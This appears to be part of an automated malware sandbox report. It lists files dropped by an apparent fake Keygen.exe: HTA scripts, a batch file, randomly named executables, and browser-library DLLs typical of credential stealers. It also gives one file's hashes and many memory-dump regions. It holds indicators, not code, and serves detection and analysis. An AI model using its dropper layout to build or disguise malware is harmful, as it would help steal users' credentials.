Replay Monitor

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Downloads

C:\ProgramData\softokn3.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\3658.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\3658.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\3658.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\3658.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\3658.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\3658.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\3658.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\3658.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\3658.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\bza.exe

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C:\Users\Public\bza.exe

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C:\Users\Public\bza.exe

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C:\Users\Public\cte.exe

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C:\Users\Public\cte.exe

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C:\Users\Public\cte.exe

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C:\Users\Public\vie.exe

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C:\Users\Public\vie.exe

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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memory/492-163-0x0000000000000000-mapping.dmp

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memory/1428-0-0x0000000000000000-mapping.dmp

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memory/1768-185-0x000000000041A684-mapping.dmp

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memory/1900-24-0x0000000000000000-mapping.dmp

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memory/2136-7-0x0000000000000000-mapping.dmp

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memory/2424-3-0x0000000000000000-mapping.dmp

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memory/2424-2-0x0000000000000000-mapping.dmp

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memory/2960-10-0x0000000000000000-mapping.dmp

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memory/2992-21-0x0000000000000000-mapping.dmp

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memory/3024-9-0x0000000000000000-mapping.dmp

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memory/3044-15-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/3044-18-0x00000000047E0000-0x00000000047E1000-memory.dmp

Filesize
4KB

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memory/3044-13-0x0000000000000000-mapping.dmp

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memory/3044-74-0x0000000009030000-0x0000000009031000-memory.dmp

Filesize
4KB

Download
memory/3044-72-0x0000000009A80000-0x0000000009A81000-memory.dmp

Filesize
4KB

Download
memory/3044-22-0x00000000072D0000-0x00000000072D1000-memory.dmp

Filesize
4KB

Download
memory/3764-29-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/3764-26-0x0000000000000000-mapping.dmp

Download
memory/3836-12-0x0000000000000000-mapping.dmp

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memory/3836-38-0x0000000007980000-0x0000000007981000-memory.dmp

Filesize
4KB

Download
memory/3836-32-0x00000000078D0000-0x00000000078D1000-memory.dmp

Filesize
4KB

Download
memory/3836-59-0x00000000088B0000-0x00000000088B1000-memory.dmp

Filesize
4KB

Download
memory/3836-40-0x00000000082A0000-0x00000000082A1000-memory.dmp

Filesize
4KB

Download
memory/3836-14-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/3836-36-0x00000000080D0000-0x00000000080D1000-memory.dmp

Filesize
4KB

Download
memory/3852-98-0x000000000A560000-0x000000000A561000-memory.dmp

Filesize
4KB

Download
memory/3852-49-0x0000000007E10000-0x0000000007E11000-memory.dmp

Filesize
4KB

Download
memory/3852-25-0x0000000000000000-mapping.dmp

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memory/3852-53-0x0000000008380000-0x0000000008381000-memory.dmp

Filesize
4KB

Download
memory/3852-95-0x00000000096E0000-0x00000000096E1000-memory.dmp

Filesize
4KB

Download
memory/3852-27-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/3852-96-0x0000000008300000-0x0000000008301000-memory.dmp

Filesize
4KB

Download
memory/4040-17-0x0000000000000000-mapping.dmp

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memory/4112-128-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4112-131-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4112-129-0x000000000043FCC3-mapping.dmp

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memory/4172-139-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4172-135-0x0000000000417A8B-mapping.dmp

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memory/4172-133-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4176-132-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4176-138-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4176-134-0x000000000041A684-mapping.dmp

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memory/4276-58-0x0000000000000000-mapping.dmp

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memory/4364-63-0x0000000000000000-mapping.dmp

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memory/4364-66-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

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memory/4428-65-0x0000000000000000-mapping.dmp

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memory/4532-69-0x0000000000000000-mapping.dmp

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memory/4532-70-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/4648-155-0x0000000000000000-mapping.dmp

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memory/4788-161-0x0000000000000000-mapping.dmp

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memory/4860-181-0x0000000000417A8B-mapping.dmp

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memory/4860-184-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4864-174-0x000000000043FCC3-mapping.dmp

Download
memory/4864-177-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4896-101-0x0000000000000000-mapping.dmp

Download
memory/4896-107-0x0000000070920000-0x000000007100E000-memory.dmp

Filesize
6.9MB

Download
memory/4896-112-0x0000000000A20000-0x0000000000A21000-memory.dmp

Filesize
4KB

Download
memory/4896-189-0x00000000057B0000-0x0000000005860000-memory.dmp

Filesize
704KB

Download
memory/4896-190-0x0000000005E30000-0x0000000005E31000-memory.dmp

Filesize
4KB

Download
memory/4904-102-0x0000000000000000-mapping.dmp

Download
memory/5048-117-0x0000000000000000-mapping.dmp

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memory/5064-120-0x0000000000000000-mapping.dmp

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